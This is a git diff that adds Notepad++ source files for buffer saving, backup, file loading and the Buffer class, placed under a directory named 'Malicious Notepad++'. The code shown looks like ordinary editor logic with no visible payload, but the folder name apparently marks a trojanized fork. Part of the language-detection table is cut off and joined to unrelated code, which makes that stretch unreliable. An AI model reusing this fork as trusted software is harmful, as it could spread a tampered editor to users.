UnicodeConvertor.fopen(fullpath, TEXT("wb")); + if (fp) + { + int lengthDoc = _pNotepadPlus->_pEditView->getCurrentDocLen(); + char* buf = (char*)_pNotepadPlus->_pEditView->execute(SCI_GETCHARACTERPOINTER); //to get characters directly from Scintilla buffer + size_t items_written = 0; + if (encoding == -1) //no special encoding; can be handled directly by Utf8_16_Write + { + items_written = UnicodeConvertor.fwrite(buf, lengthDoc); + if (lengthDoc == 0) + items_written = 1; + } + else + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + int grabSize; + for (int i = 0; i < lengthDoc; i += grabSize) + { + grabSize = lengthDoc - i; + if (grabSize > blockSize) + grabSize = blockSize; + + int newDataLen = 0; + int incompleteMultibyteChar = 0; + const char *newData = wmc->encode(SC_CP_UTF8, encoding, buf+i, grabSize, &newDataLen, &incompleteMultibyteChar); + grabSize -= incompleteMultibyteChar; + items_written = UnicodeConvertor.fwrite(newData, newDataLen); + } + if (lengthDoc == 0) + items_written = 1; + } + UnicodeConvertor.fclose(); + + // Note that fwrite() doesn't return the number of bytes written, but rather the number of ITEMS. + if(items_written == 1) // backup file has been saved + { + buffer->setModifiedStatus(false); + result = true; //all done + } + } + // set to signaled state + if (::SetEvent(writeEvent) == NULL) + { + printStr(TEXT("oups!")); + } + // printStr(TEXT("Event released!")); + ::CloseHandle(writeEvent); + } + else // buffer dirty but unmodified + { + result = true; + } + } + else // buffer not dirty, sync: delete the backup file + { + generic_string backupFilePath = buffer->getBackupFileName(); + if (not backupFilePath.empty()) + { + // delete backup file + generic_string file2Delete = buffer->getBackupFileName(); + buffer->setBackupFileName(generic_string()); + result = (::DeleteFile(file2Delete.c_str()) != 0); + + // Session changes, save it + hasModifForSession = true; + } + //printStr(TEXT("backup deleted in backupCurrentBuffer")); + result = true; // no backup file to delete + } + //printStr(TEXT("backup sync")); + + if (result && hasModifForSession) + { + //printStr(buffer->getBackupFileName().c_str()); + _pNotepadPlus->saveCurrentSession(); + } + return result; +} + +class EventReset final +{ +public: + explicit EventReset(HANDLE h) + { + _h = h; + } + + ~EventReset() + { + ::SetEvent(_h); + ::CloseHandle(_h); + } + +private: + HANDLE _h; +}; + +bool FileManager::deleteCurrentBufferBackup() +{ + HANDLE writeEvent = ::OpenEvent(EVENT_ALL_ACCESS, TRUE, TEXT("nppWrittingEvent")); + if (!writeEvent) + { + // no thread yet, create a event with non-signaled, to block all threads + writeEvent = ::CreateEvent(NULL, TRUE, FALSE, TEXT("nppWrittingEvent")); + } + else + { + if (::WaitForSingleObject(writeEvent, INFINITE) != WAIT_OBJECT_0) + { + // problem!!! + printStr(TEXT("WaitForSingleObject problem in deleteCurrentBufferBackup()!")); + return false; + } + + // unlocled here, set to non-signaled state, to block all threads + ::ResetEvent(writeEvent); + } + + EventReset reset(writeEvent); // Will reset event in destructor. + + Buffer* buffer = _pNotepadPlus->getCurrentBuffer(); + bool result = true; + generic_string backupFilePath = buffer->getBackupFileName(); + if (not backupFilePath.empty()) + { + // delete backup file + buffer->setBackupFileName(generic_string()); + result = (::DeleteFile(backupFilePath.c_str()) != 0); + } + + // set to signaled state via destructor EventReset. + return result; +} + + +bool FileManager::saveBuffer(BufferID id, const TCHAR * filename, bool isCopy, generic_string * error_msg) +{ + HANDLE writeEvent = ::OpenEvent(EVENT_ALL_ACCESS, TRUE, TEXT("nppWrittingEvent")); + if (!writeEvent) + { + // no thread yet, create a event with non-signaled, to block all threads + writeEvent = ::CreateEvent(NULL, TRUE, FALSE, TEXT("nppWrittingEvent")); + } + else + { //printStr(TEXT("Locked. I wait.")); + if (::WaitForSingleObject(writeEvent, INFINITE) != WAIT_OBJECT_0) + { + // problem!!! + printStr(TEXT("WaitForSingleObject problem in saveBuffer()!")); + return false; + } + + // unlocled here, set to non-signaled state, to block all threads + ::ResetEvent(writeEvent); + } + + EventReset reset(writeEvent); // Will reset event in destructor. + Buffer* buffer = getBufferByID(id); + bool isHiddenOrSys = false; + DWORD attrib = 0; + + TCHAR fullpath[MAX_PATH]; + ::GetFullPathName(filename, MAX_PATH, fullpath, NULL); + if (_tcschr(fullpath, '~')) + { + ::GetLongPathName(fullpath, fullpath, MAX_PATH); + } + + if (PathFileExists(fullpath)) + { + attrib = ::GetFileAttributes(fullpath); + + if (attrib != INVALID_FILE_ATTRIBUTES) + { + isHiddenOrSys = (attrib & (FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) != 0; + if (isHiddenOrSys) + ::SetFileAttributes(filename, attrib & ~(FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)); + } + } + + UniMode mode = buffer->getUnicodeMode(); + if (mode == uniCookie) + mode = uni8Bit; //set the mode to ANSI to prevent converter from adding BOM and performing conversions, Scintilla's data can be copied directly + + Utf8_16_Write UnicodeConvertor; + UnicodeConvertor.setEncoding(mode); + + int encoding = buffer->getEncoding(); + + FILE *fp = UnicodeConvertor.fopen(fullpath, TEXT("wb")); + if (fp) + { + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, buffer->_doc); //generate new document + + int lengthDoc = _pscratchTilla->getCurrentDocLen(); + char* buf = (char*)_pscratchTilla->execute(SCI_GETCHARACTERPOINTER); //to get characters directly from Scintilla buffer + size_t items_written = 0; + if (encoding == -1) //no special encoding; can be handled directly by Utf8_16_Write + { + items_written = UnicodeConvertor.fwrite(buf, lengthDoc); + if (lengthDoc == 0) + items_written = 1; + } + else + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + int grabSize; + for (int i = 0; i < lengthDoc; i += grabSize) + { + grabSize = lengthDoc - i; + if (grabSize > blockSize) + grabSize = blockSize; + + int newDataLen = 0; + int incompleteMultibyteChar = 0; + const char *newData = wmc->encode(SC_CP_UTF8, encoding, buf+i, grabSize, &newDataLen, &incompleteMultibyteChar); + grabSize -= incompleteMultibyteChar; + items_written = UnicodeConvertor.fwrite(newData, newDataLen); + } + if (lengthDoc == 0) + items_written = 1; + } + + // check the language du fichier + LangType language = detectLanguageFromTextBegining((unsigned char *)buf, lengthDoc); + + UnicodeConvertor.fclose(); + + // Error, we didn't write the entire document to disk. + // Note that fwrite() doesn't return the number of bytes written, but rather the number of ITEMS. + if(items_written != 1) + { + if(error_msg != NULL) + *error_msg = TEXT("Failed to save file.\nNot enough space on disk to save file?"); + + // set to signaled state via destructor EventReset. + return false; + } + + if (isHiddenOrSys) + ::SetFileAttributes(fullpath, attrib); + + if (isCopy) + { + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, _scratchDocDefault); + + /* for saveAs it's not necessary since this action is for the "current" directory, so we let manage in SAVEPOINTREACHED event + generic_string backupFilePath = buffer->getBackupFileName(); + if (not backupFilePath.empty()) + { + // delete backup file + generic_string file2Delete = buffer->getBackupFileName(); + buffer->setBackupFileName(generic_string()); + ::DeleteFile(file2Delete.c_str()); + } + */ + + // set to signaled state via destructor EventReset. + return true; //all done + } + + buffer->setFileName(fullpath, language); + buffer->setDirty(false); + buffer->setStatus(DOC_REGULAR); + buffer->checkFileState(); + _pscratchTilla->execute(SCI_SETSAVEPOINT); + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, _scratchDocDefault); + + generic_string backupFilePath = buffer->getBackupFileName(); + if (not backupFilePath.empty()) + { + // delete backup file + buffer->setBackupFileName(generic_string()); + ::DeleteFile(backupFilePath.c_str()); + } + + // set to signaled state via destructor EventReset. + return true; + } + // set to signaled state via destructor EventReset. + return false; +} + +size_t FileManager::nextUntitledNewNumber() const +{ + std::vector usedNumbers; + for(size_t i = 0; i < _buffers.size(); i++) + { + Buffer *buf = _buffers.at(i); + if (buf->isUntitled()) + { + // if untitled document is invisible, then don't put its number into array (so its number is available to be used) + if ((buf->_referees[0])->isVisible()) + { + TCHAR *numberStr = buf->_fileName + lstrlen(UNTITLED_STR); + int usedNumber = generic_atoi(numberStr); + usedNumbers.push_back(usedNumber); + } + } + } + + size_t newNumber = 1; + bool numberAvailable = true; + bool found = false; + do + { + for(size_t j = 0; j < usedNumbers.size(); j++) + { + numberAvailable = true; + found = false; + if (usedNumbers[j] == newNumber) + { + numberAvailable = false; + found = true; + break; + } + } + if (!numberAvailable) + newNumber++; + + if (!found) + break; + + } while (!numberAvailable); + + return newNumber; +} + +BufferID FileManager::newEmptyDocument() +{ + generic_string newTitle = UNTITLED_STR; + TCHAR nb[10]; + wsprintf(nb, TEXT("%d"), nextUntitledNewNumber()); + newTitle += nb; + + Document doc = (Document)_pscratchTilla->execute(SCI_CREATEDOCUMENT); //this already sets a reference for filemanager + Buffer* newBuf = new Buffer(this, _nextBufferID, doc, DOC_UNNAMED, newTitle.c_str()); + BufferID id = static_cast(newBuf); + newBuf->_id = id; + _buffers.push_back(newBuf); + ++_nbBufs; + ++_nextBufferID; + return id; +} + +BufferID FileManager::bufferFromDocument(Document doc, bool dontIncrease, bool dontRef) +{ + generic_string newTitle = UNTITLED_STR; + TCHAR nb[10]; + wsprintf(nb, TEXT("%d"), nextUntitledNewNumber()); + newTitle += nb; + + if (!dontRef) + _pscratchTilla->execute(SCI_ADDREFDOCUMENT, 0, doc); //set reference for FileManager + Buffer* newBuf = new Buffer(this, _nextBufferID, doc, DOC_UNNAMED, newTitle.c_str()); + BufferID id = static_cast(newBuf); + newBuf->_id = id; + _buffers.push_back(newBuf); + ++_nbBufs; + + if (!dontIncrease) + ++_nextBufferID; + return id; +} + +int FileManager::detectCodepage(char* buf, size_t len) +{ + uchardet_t ud = uchardet_new(); + uchardet_handle_data(ud, buf, len); + uchardet_data_end(ud); + const char* cs = uchardet_get_charset(ud); + int codepage = EncodingMapper::getInstance()->getEncodingFromString(cs); + uchardet_delete(ud); + return codepage; +} + +LangType FileManager::detectLanguageFromTextBegining(const unsigned char *data, size_t dataLen) +{ + struct FirstLineLanguages + { + std::string pattern; + LangType lang; + }; + + // Is the buffer at least the size of a BOM? + if (dataLen <= 3) + return L_TEXT; + + // Eliminate BOM if present + size_t i = 0; + if ((data[0] == 0xEF && data[1] == 0xBB && data[2] == 0xBF) || // UTF8 BOM + (data[0] == 0xFE && data[1] == 0xFF && data[2] == 0x00) || // UTF16 BE BOM + (data[0] == 0xFF && data[1] == 0xFE && data[2] == 0x00)) // UTF16 LE BOM + i += 3; + + // Skip any space-like char + for (; i < dataLen; ++i) + { + if (data[i] != ' ' && data[i] != '\t' && data[i] != '\n' && data[i] != '\r') + break; + } + + // Create the buffer to need to test + const size_t longestLength = 40; // shebangs can be large + std::string buf2Test = std::string((const char *)data + i, longestLength); + + // Is there a \r or \n in the buffer? If so, truncate it + auto cr = buf2Test.find("\r"); + auto nl = buf2Test.find("\n"); + auto crnl = min(cr, nl); + if (crnl != std::string::npos && crnl < longestLength) + buf2Test = std::string((const char *)data + i, crnl); + + // First test for a Unix-like Shebang + // See https://en.wikipedia.org/wiki/Shebang_%28Unix%29 for more details about Shebang + std::string shebang = "#!"; + + size_t foundPos = buf2Test.find(shebang); + if (foundPos == 0) + { + // Make a list of the most commonly used languages + const size_t NB_SHEBANG_LANGUAGES = 6; + FirstLineLanguages ShebangLangs[NB_SHEBANG_LANGUAGES] = { + { "sh", L_BASH }, + { "python", L_PYTHON }, + { "perl", L_PERL }, + { "php", L_PHP }, + { "ruby", L_RUBY }, + { "node", L_JAVASCRIPT } + }; + + // Go through the list of languages + for (i = 0; i < NB_SHEBANG_LANGUAGES; ++i) + { + if (buf2Test.find(ShebangLangs[i].pattern) != std::string::npos) + { + return ShebangLangs[i].lang; + } + } + + // Unrecognized shebang (there is always room for improvement ;-) + return L_TEXT; + } + + // Are there any other patterns we know off? + const size_t NB_FIRST_LINE_LANGUAGES = 5; + FirstLineLanguages languages[NB_FIRST_LINE_LANGUAGES] = { + { " INT_MAX) + { + ::MessageBox(NULL, TEXT("File is too big to be opened by Notepad++"), TEXT("File size problem"), MB_OK|MB_APPLMODAL); + /* + _nativeLangSpeaker.messageBox("NbFileToOpenImportantWarning", + _pPublicInterface->getHSelf(), + TEXT("File is too big to be opened by Notepad++"), + TEXT("File open problem"), + MB_OK|MB_APPLMODAL); + */ + fclose(fp); + return false; + } + + //Setup scratchtilla for new filedata + _pscratchTilla->execute(SCI_SETSTATUS, SC_STATUS_OK); // reset error status + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, doc); + bool ro = _pscratchTilla->execute(SCI_GETREADONLY) != 0; + if (ro) + { + _pscratchTilla->execute(SCI_SETREADONLY, false); + } + _pscratchTilla->execute(SCI_CLEARALL); + + + if (language < L_EXTERNAL) + { + _pscratchTilla->execute(SCI_SETLEXER, ScintillaEditView::langNames[language].lexerID); + } + else + { + int id = language - L_EXTERNAL; + TCHAR * name = NppParameters::getInstance()->getELCFromIndex(id)._name; + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *pName = wmc->wchar2char(name, CP_ACP); + _pscratchTilla->execute(SCI_SETLEXERLANGUAGE, 0, reinterpret_cast(pName)); + } + + if (encoding != -1) + _pscratchTilla->execute(SCI_SETCODEPAGE, SC_CP_UTF8); + + bool success = true; + EolType format = EolType::unknown; + __try + { + // First allocate enough memory for the whole file (this will reduce memory copy during loading) + _pscratchTilla->execute(SCI_ALLOCATE, WPARAM(bufferSizeRequested)); + if (_pscratchTilla->execute(SCI_GETSTATUS) != SC_STATUS_OK) + throw; + + size_t lenFile = 0; + size_t lenConvert = 0; //just in case conversion results in 0, but file not empty + bool isFirstTime = true; + int incompleteMultibyteChar = 0; + + do + { + lenFile = fread(data+incompleteMultibyteChar, 1, blockSize-incompleteMultibyteChar, fp) + incompleteMultibyteChar; + if (lenFile == 0) break; + + if (isFirstTime) + { + // check if file contain any BOM + if (Utf8_16_Read::determineEncoding((unsigned char *)data, lenFile) != uni8Bit) + { + // if file contains any BOM, then encoding will be erased, + // and the document will be interpreted as UTF + encoding = -1; + } + else if (encoding == -1) + { + if (NppParameters::getInstance()->getNppGUI()._detectEncoding) + encoding = detectCodepage(data, lenFile); + } + + if (language == L_TEXT) + { + // check the language du fichier + language = detectLanguageFromTextBegining((unsigned char *)data, lenFile); + } + + isFirstTime = false; + } + + if (encoding != -1) + { + if (encoding == SC_CP_UTF8) + { + // Pass through UTF-8 (this does not check validity of characters, thus inserting a multi-byte character in two halfs is working) + _pscratchTilla->execute(SCI_APPENDTEXT, lenFile, reinterpret_cast(data)); + } + else + { + WcharMbcsConvertor* wmc = WcharMbcsConvertor::getInstance(); + int newDataLen = 0; + const char *newData = wmc->encode(encoding, SC_CP_UTF8, data, static_cast(lenFile), &newDataLen, &incompleteMultibyteChar); + _pscratchTilla->execute(SCI_APPENDTEXT, newDataLen, reinterpret_cast(newData)); + } + + if (format == EolType::unknown) + format = getEOLFormatForm(data, lenFile, EolType::unknown); + } + else + { + lenConvert = unicodeConvertor->convert(data, lenFile); + _pscratchTilla->execute(SCI_APPENDTEXT, lenConvert, reinterpret_cast(unicodeConvertor->getNewBuf())); + if (format == EolType::unknown) + format = getEOLFormatForm(unicodeConvertor->getNewBuf(), unicodeConvertor->getNewSize(), EolType::unknown); + } + + if (_pscratchTilla->execute(SCI_GETSTATUS) != SC_STATUS_OK) + throw; + + if (incompleteMultibyteChar != 0) + { + // copy bytes to next buffer + memcpy(data, data + blockSize - incompleteMultibyteChar, incompleteMultibyteChar); + } + + } + while (lenFile > 0); + } + __except(EXCEPTION_EXECUTE_HANDLER) //TODO: should filter correctly for other exceptions; the old filter(GetExceptionCode(), GetExceptionInformation()) was only catching access violations + { + ::MessageBox(NULL, TEXT("File is too big to be opened by Notepad++"), TEXT("File open problem"), MB_OK|MB_APPLMODAL); + success = false; + } + + fclose(fp); + + // broadcast the format + if (format == EolType::unknown) + { + NppParameters *pNppParamInst = NppParameters::getInstance(); + const NewDocDefaultSettings & ndds = (pNppParamInst->getNppGUI()).getNewDocDefaultSettings(); // for ndds._format + eolFormat = ndds._format; + + //for empty files, if the default for new files is UTF8, and "Apply to opened ANSI files" is set, apply it + if (fileSize == 0) + { + if (ndds._unicodeMode == uniCookie && ndds._openAnsiAsUtf8) + encoding = SC_CP_UTF8; + } + } + else + { + eolFormat = format; + } + + _pscratchTilla->execute(SCI_EMPTYUNDOBUFFER); + _pscratchTilla->execute(SCI_SETSAVEPOINT); + + if (ro) + _pscratchTilla->execute(SCI_SETREADONLY, true); + + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, _scratchDocDefault); + + return success; +} + + +BufferID FileManager::getBufferFromName(const TCHAR* name) +{ + TCHAR fullpath[MAX_PATH]; + ::GetFullPathName(name, MAX_PATH, fullpath, NULL); + if (_tcschr(fullpath, '~')) + { + ::GetLongPathName(fullpath, fullpath, MAX_PATH); + } + + for(size_t i = 0; i < _buffers.size(); i++) + { + if (!lstrcmpi(name, _buffers.at(i)->getFullPathName())) + return _buffers.at(i)->getID(); + } + return BUFFER_INVALID; +} + + +BufferID FileManager::getBufferFromDocument(Document doc) +{ + for (size_t i = 0; i < _nbBufs; ++i) + { + if (_buffers[i]->_doc == doc) + return _buffers[i]->_id; + } + return BUFFER_INVALID; +} + + +bool FileManager::createEmptyFile(const TCHAR * path) +{ + FILE * file = generic_fopen(path, TEXT("wb")); + if (!file) + return false; + fclose(file); + return true; +} + + +int FileManager::getFileNameFromBuffer(BufferID id, TCHAR * fn2copy) +{ + if (getBufferIndexByID(id) == -1) + return -1; + + Buffer* buf = getBufferByID(id); + if (fn2copy) + lstrcpy(fn2copy, buf->getFullPathName()); + return lstrlen(buf->getFullPathName()); +} + + +int FileManager::docLength(Buffer* buffer) const +{ + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, buffer->_doc); + int docLen = _pscratchTilla->getCurrentDocLen(); + _pscratchTilla->execute(SCI_SETDOCPOINTER, 0, _scratchDocDefault); + return docLen; +} diff --git a/Malicious Notepad++/src/ScitillaComponent/Buffer.h b/Malicious Notepad++/src/ScitillaComponent/Buffer.h new file mode 100644 index 0000000..49a3257 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/Buffer.h @@ -0,0 +1,420 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include + +#include "Utf8_16.h" + + + +class Notepad_plus; +class Buffer; +typedef Buffer* BufferID; //each buffer has unique ID by which it can be retrieved +#define BUFFER_INVALID reinterpret_cast(0) + +typedef sptr_t Document; + +enum DocFileStatus +{ + DOC_REGULAR = 0x01, // should not be combined with anything + DOC_UNNAMED = 0x02, // not saved (new ##) + DOC_DELETED = 0x04, // doesn't exist in environment anymore, but not DOC_UNNAMED + DOC_MODIFIED = 0x08, // File in environment has changed + DOC_NEEDRELOAD = 0x10 // File is modified & needed to be reload (by log monitoring) +}; + +enum BufferStatusInfo +{ + BufferChangeLanguage = 0x001, // Language was altered + BufferChangeDirty = 0x002, // Buffer has changed dirty state + BufferChangeFormat = 0x004, // EOL type was changed + BufferChangeUnicode = 0x008, // Unicode type was changed + BufferChangeReadonly = 0x010, // Readonly state was changed, can be both file and user + BufferChangeStatus = 0x020, // Filesystem Status has changed + BufferChangeTimestamp = 0x040, // Timestamp was changed + BufferChangeFilename = 0x080, // Filename was changed + BufferChangeRecentTag = 0x100, // Recent tag has changed + BufferChangeLexing = 0x200, // Document needs lexing + BufferChangeMask = 0x3FF // Mask: covers all changes +}; + +//const int userLangNameMax = 16; +const TCHAR UNTITLED_STR[] = TEXT("new "); + + + +//File manager class maintains all buffers +class FileManager final +{ +public: + void init(Notepad_plus* pNotepadPlus, ScintillaEditView* pscratchTilla); + + //void activateBuffer(int index); + void checkFilesystemChanges(); + + size_t getNbBuffers() { return _nbBufs; }; + int getBufferIndexByID(BufferID id); + Buffer * getBufferByIndex(size_t index); + Buffer * getBufferByID(BufferID id) {return static_cast(id);} + + void beNotifiedOfBufferChange(Buffer * theBuf, int mask); + + void closeBuffer(BufferID, ScintillaEditView * identifer); //called by Notepad++ + + void addBufferReference(BufferID id, ScintillaEditView * identifer); //called by Scintilla etc indirectly + + BufferID loadFile(const TCHAR * filename, Document doc = NULL, int encoding = -1, const TCHAR *backupFileName = NULL, time_t fileNameTimestamp = 0); //ID == BUFFER_INVALID on failure. If Doc == NULL, a new file is created, otherwise data is loaded in given document + BufferID newEmptyDocument(); + //create Buffer from existing Scintilla, used from new Scintillas. If dontIncrease = true, then the new document number isnt increased afterwards. + //usefull for temporary but neccesary docs + //If dontRef = false, then no extra reference is added for the doc. Its the responsibility of the caller to do so + BufferID bufferFromDocument(Document doc, bool dontIncrease = false, bool dontRef = false); + + BufferID getBufferFromName(const TCHAR * name); + BufferID getBufferFromDocument(Document doc); + + bool reloadBuffer(BufferID id); + bool reloadBufferDeferred(BufferID id); + bool saveBuffer(BufferID id, const TCHAR* filename, bool isCopy = false, generic_string * error_msg = NULL); + bool backupCurrentBuffer(); + bool deleteCurrentBufferBackup(); + bool deleteFile(BufferID id); + bool moveFile(BufferID id, const TCHAR * newFilename); + bool createEmptyFile(const TCHAR * path); + static FileManager * getInstance() {return _pSelf;}; + void destroyInstance() { delete _pSelf; }; + int getFileNameFromBuffer(BufferID id, TCHAR * fn2copy); + int docLength(Buffer * buffer) const; + size_t nextUntitledNewNumber() const; + + +private: + ~FileManager(); + int detectCodepage(char* buf, size_t len); + bool loadFileData(Document doc, const TCHAR* filename, char* buffer, Utf8_16_Read* UnicodeConvertor, LangType & language, int & encoding, EolType & eolFormat); + LangType detectLanguageFromTextBegining(const unsigned char *data, size_t dataLen); + + +private: + static FileManager *_pSelf; + + Notepad_plus* _pNotepadPlus = nullptr; + ScintillaEditView* _pscratchTilla = nullptr; + Document _scratchDocDefault; + std::vector _buffers; + BufferID _nextBufferID = 0; + size_t _nbBufs = 0; +}; + +#define MainFileManager FileManager::getInstance() + +class Buffer final +{ + friend class FileManager; +public: + //Loading a document: + //constructor with ID. + //Set a reference (pointer to a container mostly, like DocTabView or ScintillaEditView) + //Set the position manually if needed + //Load the document into Scintilla/add to TabBar + //The entire lifetime if the buffer, the Document has reference count of _atleast_ one + //Destructor makes sure its purged + Buffer(FileManager * pManager, BufferID id, Document doc, DocFileStatus type, const TCHAR *fileName); + + // this method 1. copies the file name + // 2. determinates the language from the ext of file name + // 3. gets the last modified time + void setFileName(const TCHAR *fn, LangType defaultLang = L_TEXT); + + const TCHAR * getFullPathName() const { + return _fullPathName.c_str(); + } + + const TCHAR * getFileName() const { return _fileName; } + + BufferID getID() const { return _id; } + + void increaseRecentTag() { + _recentTag = ++_recentTagCtr; + doNotify(BufferChangeRecentTag); + } + + long getRecentTag() const { return _recentTag; } + + bool checkFileState(); + + bool isDirty() const { + return _isDirty; + } + + bool isReadOnly() const { + return (_isUserReadOnly || _isFileReadOnly); + }; + + bool isUntitled() const { + return (_currentStatus == DOC_UNNAMED); + } + + bool getFileReadOnly() const { + return _isFileReadOnly; + } + + void setFileReadOnly(bool ro) { + _isFileReadOnly = ro; + doNotify(BufferChangeReadonly); + } + + bool getUserReadOnly() const { + return _isUserReadOnly; + } + + void setUserReadOnly(bool ro) { + _isUserReadOnly = ro; + doNotify(BufferChangeReadonly); + } + + EolType getEolFormat() const { + return _eolFormat; + } + + void setEolFormat(EolType format) { + _eolFormat = format; + doNotify(BufferChangeFormat); + } + + LangType getLangType() const { + return _lang; + } + + void setLangType(LangType lang, const TCHAR * userLangName = TEXT("")); + + UniMode getUnicodeMode() const { + return _unicodeMode; + } + + void setUnicodeMode(UniMode mode); + + int getEncoding() const { + return _encoding; + } + + void setEncoding(int encoding); + + DocFileStatus getStatus() const { + return _currentStatus; + } + + Document getDocument() { + return _doc; + } + + void setDirty(bool dirty); + + void setPosition(const Position & pos, ScintillaEditView * identifier); + Position & getPosition(ScintillaEditView * identifier); + + void setHeaderLineState(const std::vector & folds, ScintillaEditView * identifier); + const std::vector & getHeaderLineState(const ScintillaEditView * identifier) const; + + bool isUserDefineLangExt() const + { + return (_userLangExt[0] != '\0'); + } + + const TCHAR * getUserDefineLangName() const + { + return _userLangExt.c_str(); + } + + const TCHAR * getCommentLineSymbol() const + { + Lang *l = getCurrentLang(); + if (!l) + return NULL; + return l->_pCommentLineSymbol; + } + + const TCHAR * getCommentStart() const + { + Lang *l = getCurrentLang(); + if (!l) + return NULL; + return l->_pCommentStart; + } + + const TCHAR * getCommentEnd() const + { + Lang *l = getCurrentLang(); + if (!l) + return NULL; + return l->_pCommentEnd; + } + + bool getNeedsLexing() const + { + return _needLexer; + } + + void setNeedsLexing(bool lex) + { + _needLexer = lex; + doNotify(BufferChangeLexing); + } + + //these two return reference count after operation + int addReference(ScintillaEditView * identifier); //if ID not registered, creates a new Position for that ID and new foldstate + int removeReference(ScintillaEditView * identifier); //reduces reference. If zero, Document is purged + + void setHideLineChanged(bool isHide, int location); + + void setDeferredReload(); + + bool getNeedReload() + { + return _needReloading; + } + + void setNeedReload(bool reload) + { + _needReloading = reload; + } + + int docLength() const + { + assert(_pManager != nullptr); + return _pManager->docLength(_id); + } + + int getFileLength() const; // return file length. -1 if file is not existing. + + enum fileTimeType { ft_created, ft_modified, ft_accessed }; + generic_string getFileTime(fileTimeType ftt) const; + + Lang * getCurrentLang() const; + + bool isModified() const { return _isModified; } + void setModifiedStatus(bool isModified) { _isModified = isModified; } + generic_string getBackupFileName() const { return _backupFileName; } + void setBackupFileName(generic_string fileName) { _backupFileName = fileName; } + time_t getLastModifiedTimestamp() const { return _timeStamp; } + + bool isLoadedDirty() const + { + return _isLoadedDirty; + } + + void setLoadedDirty(bool val) + { + _isLoadedDirty = val; + } + + void startMonitoring() { + _isMonitoringOn = true; + _eventHandle = ::CreateEvent(nullptr, TRUE, FALSE, nullptr); + }; + + HANDLE getMonitoringEvent() const { + return _eventHandle; + }; + + void stopMonitoring() { + _isMonitoringOn = false; + ::SetEvent(_eventHandle); + ::CloseHandle(_eventHandle); + }; + + bool isMonitoringOn() const { return _isMonitoringOn; }; + void updateTimeStamp(); + void reload(); + void setMapPosition(const MapPosition & mapPosition) { _mapPosition = mapPosition; }; + MapPosition getMapPosition() const { return _mapPosition; }; + + void langHasBeenSetFromMenu() { _hasLangBeenSetFromMenu = true; }; + +private: + int indexOfReference(const ScintillaEditView * identifier) const; + + void setStatus(DocFileStatus status) { + _currentStatus = status; + doNotify(BufferChangeStatus); + } + + void doNotify(int mask); + + Buffer(const Buffer&) = delete; + Buffer& operator = (const Buffer&) = delete; + + +private: + FileManager * _pManager = nullptr; + bool _canNotify = false; + int _references = 0; // if no references file inaccessible, can be closed + BufferID _id = nullptr; + + //document properties + Document _doc; //invariable + LangType _lang; + generic_string _userLangExt; // it's useful if only (_lang == L_USER) + bool _isDirty = false; + EolType _eolFormat = EolType::osdefault; + UniMode _unicodeMode; + int _encoding = -1; + bool _isUserReadOnly = false; + bool _needLexer = false; // new buffers do not need lexing, Scintilla takes care of that + //these properties have to be duplicated because of multiple references + //All the vectors must have the same size at all times + std::vector _referees; // Instances of ScintillaEditView which contain this buffer + std::vector _positions; + std::vector> _foldStates; + + //Environment properties + DocFileStatus _currentStatus; + time_t _timeStamp = 0; // 0 if it's a new doc + + bool _isFileReadOnly = false; + generic_string _fullPathName; + TCHAR * _fileName = nullptr; // points to filename part in _fullPathName + bool _needReloading = false; // True if Buffer needs to be reloaded on activation + + long _recentTag = -1; + static long _recentTagCtr; + + // For backup system + generic_string _backupFileName; + bool _isModified = false; + bool _isLoadedDirty = false; // it's the indicator for finding buffer's initial state + + // For the monitoring + HANDLE _eventHandle = nullptr; + bool _isMonitoringOn = false; + + bool _hasLangBeenSetFromMenu = false; + + MapPosition _mapPosition; + + std::mutex _reloadFromDiskRequestGuard; +}; \ No newline at end of file diff --git a/Malicious Notepad++/src/ScitillaComponent/DocTabView.cpp b/Malicious Notepad++/src/ScitillaComponent/DocTabView.cpp new file mode 100644 index 0000000..47f77ed --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/DocTabView.cpp @@ -0,0 +1,232 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "DocTabView.h" +#include "ScintillaEditView.h" + +#ifndef _WIN32_IE 